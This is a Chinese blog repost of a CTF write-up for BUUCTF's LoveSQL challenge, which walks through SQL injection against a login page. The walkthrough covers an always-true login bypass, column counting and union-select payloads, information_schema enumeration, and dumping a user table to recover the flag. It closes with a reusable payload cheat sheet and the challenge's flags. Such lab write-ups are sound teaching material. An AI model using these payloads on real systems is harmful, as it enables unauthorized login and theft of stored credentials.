热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

【BUUCTF】[极客大挑战2019]LoveSQL详细题解总结笔记Writeup

【BUUCTF】[极客大挑战2019]LoveSQL一.SQL注入考点二.解题过程0.存在SQL注入1.万能密码adminor112.爆字段3.看回显4.爆数据库5.爆数据库的表6

【BUUCTF】[极客大挑战 2019]LoveSQL

  • 一.SQL注入考点
  • 二. 解题过程
    • 0.存在SQL注入
    • 1.万能密码 admin' or 1=1
    • 2.爆字段
    • 3.看回显
    • 4.爆数据库
    • 5.爆数据库的表
    • 6.爆出表的列
    • 7.读取内容,爆flag
  • 三、提炼总结
    • 爆字段
    • 看回显
    • 爆数据库
    • 爆数据库的表
    • 爆出表的列
    • 读取内容,爆flag


一.SQL注入考点

在这里插入图片描述
基础知识点

union 联合查询
information表
group_concat()

注入流程

1.万能密码登陆
2.登陆后,使用联合查询注入
3.爆字段
4.看回显
5.爆数据库
6.爆数据库的表
7.爆出表的列
8.爆出flag

二. 解题过程

0.存在SQL注入

加单引号报错

/check.php?username=1'&password=2
/check.php?username=1&password=2'
/check.php?username=1'&password=2'

在这里插入图片描述

1.万能密码 admin’ or 1=1

或者
1’ or 1=1 #

账号
admin' or 1=1 #
密码
1

在这里插入图片描述

admin
47cb230740bc6725fd194aec8e479fc4

Tips:输入框的#,直接使用hackbar地址栏,需将#进行URL编码,即替换为%23

2.爆字段

check.php?username=admin ' order by 1 %23&password=1
check.php?username=admin ' order by 2 %23&password=1
check.php?username=admin ' order by 3 %23&password=1

在这里插入图片描述

check.php?username=admin ' order by 4 %23&password=1

改为4,报错,有3个字段

Unknown column '4' in 'order clause'

在这里插入图片描述

3.看回显

/check.php?username=1' union select 1,2,3%23&password=1

回显点位在2、3

在这里插入图片描述

4.爆数据库

check.php?username=1' union select 1,database(),version()%23&password=1

在这里插入图片描述数据库名:geek
版本:10.3.18-MariaDB

5.爆数据库的表

/check.php?username=1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()%23&password=1

在这里插入图片描述数据库表名有:
geekuser
l0ve1ysq1
根据题目,表名应该就是l0ve1ysq1

6.爆出表的列

/check.php?username=
1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='geekuser'
%23&password=1

在这里插入图片描述

/check.php?username=
1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='l0ve1ysq1'
%23&password=1

在这里插入图片描述

7.读取内容,爆flag

geekuser表

/check.php?username=1' union select 1,2,group_concat(id,username,password) from geekuser%23&password=1

在这里插入图片描述换一个
l0ve1ysq1表

/check.php?username=1' union select 1,2,group_concat(id,username,password) from l0ve1ysq1%23&password=1
/check.php?username=1' union select 1,2,group_concat(username,0x40,password) from l0ve1ysq1 %23&password=1
/check.php?username=1' union select 1,2,group_concat(username,0x40,0x40,password) from l0ve1ysq1 %23&password=1

在这里插入图片描述

Your password is '1cl4ywo_tai_nan_le,2glzjinglzjin_wants_a_girlfriend,3Z4cHAr7zCrbiao_ge_dddd_hm,40xC4m3llinux_chuang_shi_ren,5Ayraina_rua_rain,6Akkoyan_shi_fu_de_mao_bo_he,7fouc5cl4y,8fouc5di_2_kuai_fu_ji,9fouc5di_3_kuai_fu_ji,10fouc5di_4_kuai_fu_ji,11fouc5di_5_kuai_fu_ji,12fouc5di_6_kuai_fu_ji,13fouc5di_7_kuai_fu_ji,14fouc5di_8_kuai_fu_ji,15leixiaoSyc_san_da_hacker,16flagflag{1cbf436f-3991-4300-9042-4f6c5f9e950f}'

Your password is 'cl4y@@wo_tai_nan_le,glzjin@@glzjin_wants_a_girlfriend,Z4cHAr7zCr@@biao_ge_dddd_hm,0xC4m3l@@linux_chuang_shi_ren,Ayrain@@a_rua_rain,Akko@@yan_shi_fu_de_mao_bo_he,fouc5@@cl4y,fouc5@@di_2_kuai_fu_ji,fouc5@@di_3_kuai_fu_ji,fouc5@@di_4_kuai_fu_ji,fouc5@@di_5_kuai_fu_ji,fouc5@@di_6_kuai_fu_ji,fouc5@@di_7_kuai_fu_ji,fouc5@@di_8_kuai_fu_ji,leixiao@@Syc_san_da_hacker,flag@@flag{2c52a50a-072c-4e80-aa81-3be3eddf604f}'

flag{1cbf436f-3991-4300-9042-4f6c5f9e950f}

三、提炼总结

爆字段

1' order by 1 #
1' order by 2 #
1' order by 3 #

1' order by 1 %23
1' order by 2 %23
1' order by 3 %23

看回显

1' union select 1,2,3 #

爆数据库

1' union select 1,database(),version() #

DATABASE,VERSION

爆数据库的表

只有一个数据库,省事直接相等

1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() #

多个数据库,选择一个

1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='DATABASE'

AAA,BBB,CCC


爆出表的列

1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='AAA' #

读取内容,爆flag

读AAA表

1' union select 1,2,group_concat(id,username,password) from AAA%23&password=1

可以加ASCII码方便区别

1' union select 1,2,group_concat(username,0x40,password) from AAA%23&password=1


推荐阅读
  • 本文介绍了Oracle数据库中tnsnames.ora文件的作用和配置方法。tnsnames.ora文件在数据库启动过程中会被读取,用于解析LOCAL_LISTENER,并且与侦听无关。文章还提供了配置LOCAL_LISTENER和1522端口的示例,并展示了listener.ora文件的内容。 ... [详细]
  • 本文介绍了在Mac上搭建php环境后无法使用localhost连接mysql的问题,并通过将localhost替换为127.0.0.1或本机IP解决了该问题。文章解释了localhost和127.0.0.1的区别,指出了使用socket方式连接导致连接失败的原因。此外,还提供了相关链接供读者深入了解。 ... [详细]
  • 本文介绍了在开发Android新闻App时,搭建本地服务器的步骤。通过使用XAMPP软件,可以一键式搭建起开发环境,包括Apache、MySQL、PHP、PERL。在本地服务器上新建数据库和表,并设置相应的属性。最后,给出了创建new表的SQL语句。这个教程适合初学者参考。 ... [详细]
  • Metasploit攻击渗透实践
    本文介绍了Metasploit攻击渗透实践的内容和要求,包括主动攻击、针对浏览器和客户端的攻击,以及成功应用辅助模块的实践过程。其中涉及使用Hydra在不知道密码的情况下攻击metsploit2靶机获取密码,以及攻击浏览器中的tomcat服务的具体步骤。同时还讲解了爆破密码的方法和设置攻击目标主机的相关参数。 ... [详细]
  • 计算机存储系统的层次结构及其优势
    本文介绍了计算机存储系统的层次结构,包括高速缓存、主存储器和辅助存储器三个层次。通过分层存储数据可以提高程序的执行效率。计算机存储系统的层次结构将各种不同存储容量、存取速度和价格的存储器有机组合成整体,形成可寻址存储空间比主存储器空间大得多的存储整体。由于辅助存储器容量大、价格低,使得整体存储系统的平均价格降低。同时,高速缓存的存取速度可以和CPU的工作速度相匹配,进一步提高程序执行效率。 ... [详细]
  • Webmin远程命令执行漏洞复现及防护方法
    本文介绍了Webmin远程命令执行漏洞CVE-2019-15107的漏洞详情和复现方法,同时提供了防护方法。漏洞存在于Webmin的找回密码页面中,攻击者无需权限即可注入命令并执行任意系统命令。文章还提供了相关参考链接和搭建靶场的步骤。此外,还指出了参考链接中的数据包不准确的问题,并解释了漏洞触发的条件。最后,给出了防护方法以避免受到该漏洞的攻击。 ... [详细]
  • 本文讨论了在数据库打开和关闭状态下,重新命名或移动数据文件和日志文件的情况。针对性能和维护原因,需要将数据库文件移动到不同的磁盘上或重新分配到新的磁盘上的情况,以及在操作系统级别移动或重命名数据文件但未在数据库层进行重命名导致报错的情况。通过三个方面进行讨论。 ... [详细]
  • CentOS 6.5安装VMware Tools及共享文件夹显示问题解决方法
    本文介绍了在CentOS 6.5上安装VMware Tools及解决共享文件夹显示问题的方法。包括清空CD/DVD使用的ISO镜像文件、创建挂载目录、改变光驱设备的读写权限等步骤。最后给出了拷贝解压VMware Tools的操作。 ... [详细]
  • r2dbc配置多数据源
    R2dbc配置多数据源问题根据官网配置r2dbc连接mysql多数据源所遇到的问题pom配置可以参考官网,不过我这样配置会报错我并没有这样配置将以下内容添加到pom.xml文件d ... [详细]
  • WhenIusepythontoapplythepymysqlmoduletoaddafieldtoatableinthemysqldatabase,itdo ... [详细]
  • mac php错误日志配置方法及错误级别修改
    本文介绍了在mac环境下配置php错误日志的方法,包括修改php.ini文件和httpd.conf文件的操作步骤。同时还介绍了如何修改错误级别,以及相应的错误级别参考链接。 ... [详细]
  • 本文介绍了Python高级网络编程及TCP/IP协议簇的OSI七层模型。首先简单介绍了七层模型的各层及其封装解封装过程。然后讨论了程序开发中涉及到的网络通信内容,主要包括TCP协议、UDP协议和IPV4协议。最后还介绍了socket编程、聊天socket实现、远程执行命令、上传文件、socketserver及其源码分析等相关内容。 ... [详细]
  • 自动轮播,反转播放的ViewPagerAdapter的使用方法和效果展示
    本文介绍了如何使用自动轮播、反转播放的ViewPagerAdapter,并展示了其效果。该ViewPagerAdapter支持无限循环、触摸暂停、切换缩放等功能。同时提供了使用GIF.gif的示例和github地址。通过LoopFragmentPagerAdapter类的getActualCount、getActualItem和getActualPagerTitle方法可以实现自定义的循环效果和标题展示。 ... [详细]
  • Java学习笔记之面向对象编程(OOP)
    本文介绍了Java学习笔记中的面向对象编程(OOP)内容,包括OOP的三大特性(封装、继承、多态)和五大原则(单一职责原则、开放封闭原则、里式替换原则、依赖倒置原则)。通过学习OOP,可以提高代码复用性、拓展性和安全性。 ... [详细]
  • C++字符字符串处理及字符集编码方案
    本文介绍了C++中字符字符串处理的问题,并详细解释了字符集编码方案,包括UNICODE、Windows apps采用的UTF-16编码、ASCII、SBCS和DBCS编码方案。同时说明了ANSI C标准和Windows中的字符/字符串数据类型实现。文章还提到了在编译时需要定义UNICODE宏以支持unicode编码,否则将使用windows code page编译。最后,给出了相关的头文件和数据类型定义。 ... [详细]
author-avatar
泰山长征
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有